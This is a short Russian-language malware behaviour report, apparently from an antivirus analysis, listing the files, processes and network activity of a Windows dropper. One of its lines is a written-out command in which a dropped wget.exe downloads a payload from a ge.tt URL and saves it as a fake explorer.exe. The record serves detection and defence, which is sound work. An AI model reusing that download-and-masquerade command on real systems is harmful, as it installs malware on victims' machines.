Техническая информация
- '%TEMP%\explorer.exe'
- '%TEMP%\1.tmp\wget.exe' http://ge.tt/api/1/files/9NoORYg/0/blob?do###### -O %TEMP%\explorer.exe
- '%TEMP%\explorer.exe' (загружен из сети Интернет)
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\shimgvw.dll,ImageView_Fullscreen %TEMP%\1.tmp\1.PNG
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\01.bat" "
- %TEMP%\1.tmp\1.PNG
- %TEMP%\explorer.exe
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\01.bat
- %TEMP%\1.tmp\stop.js
- %TEMP%\1.tmp\01.bat
- 'ge.tt':80
- ge.tt/api/1/files/9NoORYg/0/blob?do######
- DNS ASK ge.tt
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'ShImgVw:CPreviewWnd' WindowName: '(null)'